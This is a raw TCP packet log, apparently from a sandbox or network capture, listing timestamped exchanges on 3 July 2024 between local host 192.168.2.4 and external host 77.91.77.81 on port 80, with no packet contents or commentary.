Jul 3, 2024 23:59:25.584610939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584619999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584644079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584656000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584676027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584688902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584708929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584717035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584742069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584753990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584777117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584786892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584824085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584906101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584939957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584954977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584974051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584979057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585006952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585016966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585040092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585048914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585072994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585077047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585104942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585115910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585138083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585165024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585170031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585184097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585201979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585216999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585236073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585246086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585268974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585277081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585311890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585514069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585546017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585558891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585577965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585587978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585611105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585623026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585644007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585656881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585676908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585686922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585709095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585717916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585741997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585756063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585776091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585784912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585808992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585820913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585840940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585850954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585874081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585885048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585917950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585927010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585958958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.585972071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.585993052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586003065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586025000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586040020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586065054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586071014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586097956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586108923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586131096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586138964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586163998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586173058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586196899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586210012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586229086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586240053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586262941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.586280107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.586306095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590529919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590563059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590595961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590596914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590626001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590636969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590646029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590678930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590693951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590713024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590724945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590754986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590761900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590795994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590807915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590826988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590837955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590876102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590884924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590914965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590929031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590948105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590958118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.590981007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.590993881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.591015100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.591026068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.591047049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.591059923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.591089964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630273104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630420923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630450010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630482912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630516052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630548000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630565882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630565882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630565882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630578995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630582094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630599022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630614996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630625963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630656958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630729914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630762100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630789042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630803108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630812883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630846977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.630862951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.630892992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.631011009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.631042957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.631058931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.631078005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.631093979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.631143093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.650829077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.650862932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.650903940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.650933027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.650964975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.650999069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651045084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651067972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651067972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651067972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651067972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651084900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651097059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651140928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651164055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651196957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651210070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651230097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651235104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651262999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651273966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651307106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651309967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651343107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651356936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651376009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.651387930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.651412964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677580118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677609921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677643061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677655935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677692890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677726030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677758932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677793980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677824974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677824974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677824974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677824974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677824974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677839994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677864075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677906036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.677932978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677967072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.677978992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678011894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678031921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678071976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678081036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678114891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678128004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678148985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678159952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678181887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678200960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678222895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678231955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678263903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678272009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678308010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678314924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678349018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678364992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678383112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678394079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678415060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678426027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678450108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678455114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678483963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678493977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678517103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678528070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678550959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678560019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678585052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678595066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678617001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678622961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678648949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678657055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678682089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678694010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678714037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678723097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678759098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678796053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678828001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678839922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678860903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678874969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678906918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678913116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678947926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678957939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.678980112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.678991079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679013968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679022074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679042101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679055929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679078102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679085970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679126024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679127932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679161072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679172993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679193020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679198980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679225922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679241896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679258108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679265022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679291964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679305077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679333925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679354906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679387093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679399967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679419994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679433107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679454088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679461002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679495096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679503918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679536104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679544926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679568052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679578066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679601908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679613113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679635048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679645061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679668903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679677963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679713011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679718971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679752111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679763079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679784060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679794073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679817915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679828882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679852009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679857969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679883957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.679898977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679927111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.679992914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680025101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680032969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680058002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680066109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680090904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680095911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680124044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680134058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680155993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680167913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680195093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680237055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680269003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680279016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680303097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680311918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680335999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680341005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680368900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680377960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680403948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680411100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680445910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680548906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680582047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680596113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680613995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680624962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680643082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680650949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680675983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680685997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680708885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680715084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680742025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680751085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680783033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680793047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680824995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680835962 CEST	49744	80	192.168.2.4	77.91.77.81
